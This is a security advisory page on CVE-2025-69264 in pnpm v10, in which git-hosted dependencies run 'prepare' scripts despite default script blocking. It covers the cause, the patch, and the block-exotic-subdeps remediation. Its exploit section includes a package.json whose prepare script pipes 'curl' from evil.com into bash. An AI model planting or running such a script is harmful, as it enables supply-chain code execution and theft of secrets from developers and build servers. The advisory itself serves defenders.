CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-69264
8.80.11%

The 'Secure' Package Manager That Wasn't: Pnpm v10 Git Injection (RCE)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 23, 2026·6 min read·17 visits

PoC Available

Executive Summary (TL;DR)

Pnpm v10's "secure-by-default" script blocking fails for git-hosted dependencies. Attackers can embed malicious code in `prepare` scripts of git repos, which pnpm executes automatically during the fetch phase, regardless of allowlists. Patching to v10.26.0+ AND enabling `block-exotic-subdeps` is required.

Pnpm v10 promised a revolution in supply chain security by disabling lifecycle scripts by default. However, a critical architectural oversight allowed git-hosted dependencies to bypass this restriction completely. Through the `preparePackage` mechanism, attackers can achieve Remote Code Execution (RCE) simply by having a user fetch a dependency from a git repository, ignoring the user's explicit security policies.

The Hook: A False Sense of Security

The JavaScript ecosystem is a minefield. For years, we've watched npm install turn into a game of Russian Roulette, where a single typo-squatted package in your node_modules tree can drain your crypto wallet via a postinstall script. Enter pnpm v10, the hero we were promised. It launched with a bold new default: lifecycle scripts are disabled. No more arbitrary code execution during install unless you explicitly allowlisted the package in pnpm.onlyBuiltDependencies.

It was a beautiful dream. Security teams rejoiced. CI/CD pipelines breathed a sigh of relief. But as any seasoned exploit developer knows, security features are often just challenges waiting to be solved. While the front door was bolted shut with a high-tech biometric lock, pnpm inadvertently left the doggy door wide open.

That doggy door is Git dependencies. While pnpm strictly policed packages coming from the registry, it treated dependencies fetched directly from Git repositories with a level of trust that borders on negligence. If you (or one of your dependencies) pull code from GitHub/GitLab, pnpm v10 executes it. Blindly. This vulnerability, CVE-2025-69264, isn't just a bug; it's a fundamental failure to apply the security model consistently across all dependency sources.

The Flaw: The 'Prepare' Loophole

To understand this flaw, you have to understand the difference between a registry package and a git package. When you download react from npm, you are getting a tarball of artifacts that are (usually) ready to use. When you download a repo from Git, you are getting raw source code. Raw source often needs a massage before it's usable—TypeScript needs compiling, binaries need building.

To handle this, pnpm uses a function called preparePackage. This function is responsible for taking that raw git checkout and running scripts like prepare, prepublish, or prepack to generate the final artifacts. This happens during the fetch phase, long before the package is linked into node_modules.

Here is the logic failure: The code responsible for blocking scripts checks onlyBuiltDependencies during the standard installation lifecycle (like postinstall). However, the preparePackage function, part of @pnpm/prepare-package, operates outside this jurisdiction. It simply sees a git repo, sees a package.json with a prepare script, and executes it.

It does not check the global allowlist. It does not check if scripts are disabled. It just runs sh -c 'npm run prepare'. This means an attacker doesn't need to bypass a filter; they just need to exist in the dependency tree as a git URL.

The Code: Anatomy of the Bypass

Let's look at why this happens. In the vulnerable versions (pnpm < 10.26.0), the fetcher logic for Git dependencies effectively treats the cloned directory as a trusted workspace. The mitigation introduced in the patch (Commit 73cc63504d9bc360c43e4b2feb9080677f03c5b5) doesn't actually fix the execution logic—it essentially adds a firewall rule to stop you from downloading the exploit in the first place, but only if you ask it to.

Here is a conceptual simplification of the vulnerability flow:

// Pseudo-code of the vulnerable logic in pnpm v10
async function fetchGitDependency(repoUrl) {
  const dir = await gitClone(repoUrl);
  
  // CRITICAL FLAW: No check for config.ignoreScripts or config.onlyBuiltDependencies
  // The assumption is "We need to build this to use it."
  await preparePackage(dir);
  
  return packDirectory(dir);
}

The fix provided by pnpm is interesting. Instead of sanitizing preparePackage to respect the onlyBuiltDependencies list (which might break legitimate git dependencies that need to build), they introduced a new setting: block-exotic-subdeps.

// In @pnpm/core/lib/install/resolvePeers.ts (The Patch)
if (ctx.blockExoticSubdeps && dependency.type === 'git' && depth > 0) {
  throw new Error("Exotic dependencies (git/tarball) are blocked in transitive dependencies.");
}

Notice the catch? This is an opt-in mitigation. By default, block-exotic-subdeps is false. Even after patching to v10.26.0, if you don't flip this switch, you are arguably still vulnerable to the behavior, although the awareness is now higher. The patch doesn't "fix" the code execution; it gives you a tool to ban the vector.

The Exploit: Trojan Horse via Git

Exploiting this is trivially easy and highly effective because it works on the "secure" v10 versions. An attacker needs two things: a malicious git repository and a way to get it into your dependency tree.

Step 1: The Malicious Payload The attacker creates a repository (e.g., on GitHub or a self-hosted Gitea) with a package.json:

{
  "name": "innocent-helper",
  "version": "1.0.0",
  "scripts": {
    "prepare": "node -e 'require(\"child_process\").exec(\"curl -sL http://evil.com/shell | bash\")'"
  }
}

Step 2: The Injection The attacker publishes a legitimate-looking package to the npm registry, let's call it colors-v2. In colors-v2's package.json, they add a dependency pointing to the git repo:

{
  "dependencies": {
    "innocent-helper": "git+https://github.com/attacker/innocent-helper.git"
  }
}

Step 3: The Trigger The victim, believing they are safe because they haven't whitelisted any scripts, runs:

pnpm add colors-v2

pnpm resolves colors-v2, sees the dependency on innocent-helper (git), clones it, and immediately executes the prepare script. Boom. RCE. The victim's machine is compromised before the installation even finishes.

The Impact: Why This Matters

This vulnerability is a Supply Chain attacker's dream. It bypasses the specific control mechanism (script blocking) that organizations are adopting to prevent supply chain attacks. It turns the pnpm lockfile—usually a source of truth and security—into a vector for execution.

CI/CD Devastation: Build servers are the primary victims. They often run with high privileges and access to secrets (AWS keys, NPM tokens, Signing keys). A single compromised transitive dependency can exfiltrate these secrets simply by being fetched during the build process.

Developer Compromise: Since this runs on developer machines during pnpm install, it allows for lateral movement into corporate networks. Because the execution happens in the prepare phase, it might even occur before some security scanners (which analyze node_modules after install) have a chance to inspect the disk.

Furthermore, the "fix" leaves a gap: direct dependencies. If an attacker tricks a developer into running pnpm add github:attacker/repo, the script still executes, even with the patch, because the depth check allows top-level git dependencies. Social engineering remains a viable path.

The Fix: Closing the Gap

If you are running pnpm v10, you are currently playing with fire. Here is the remediation path:

  1. Update pnpm: You must upgrade to version 10.26.0 or higher immediately.
  2. Configure the Block: The update alone is insufficient. You must explicitly enable the protection against transitive git dependencies.

Add this to your .npmrc file in the project root or your user home directory:

block-exotic-subdeps=true

This setting forces pnpm to throw an error if it encounters a git dependency that isn't directly listed in your top-level package.json. It is a blunt instrument—it might break valid projects that rely on git sub-dependencies—but it is currently the only way to close this specific RCE vector securely.

> [!WARNING] > Even with this setting, direct git dependencies are allowed to run scripts. Treat any URL-based dependency (git+..., http://...) with extreme suspicion. Review the source code before you pnpm add it.

Official Patches

pnpmpnpm v10.26.0 Release Notes

Fix Analysis (1)

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Probability
0.11%
Top 70% most exploited

Affected Systems

pnpm v10.0.0 - v10.25.xCI/CD Pipelines using pnpmNode.js development environments

Affected Versions Detail

Product
Affected Versions
Fixed Version
pnpm
pnpm
>= 10.0.0 < 10.26.010.26.0
AttributeDetail
CWE IDCWE-693
Attack VectorNetwork
CVSS8.8 (High)
EPSS Score0.00113
ImpactRemote Code Execution (RCE)
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1195.002Supply Chain Compromise: Compromise Software Dependencies
Initial Access
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
T1204.002User Execution: Malicious File
Execution
CWE-693
Protection Mechanism Failure

Protection Mechanism Failure

Known Exploits & Detection

Koi SecurityConceptual PoC demonstrating 'prepare' script execution from git dependencies

Vulnerability Timeline

Fix commit pushed to pnpm repository
2025-12-10
GHSA-379q-355j-w6rj Published
2026-01-06
CVE-2025-69264 Published
2026-01-07

References & Sources

  • [1]GitHub Advisory: Git Dependency RCE in pnpm
  • [2]pnpm Documentation: block-exotic-subdeps

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.